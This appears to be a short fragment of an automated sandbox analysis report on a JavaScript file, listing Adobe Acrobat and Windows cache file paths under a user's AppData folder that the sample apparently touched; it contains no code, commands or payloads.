C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7660

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
23333227572217423995.js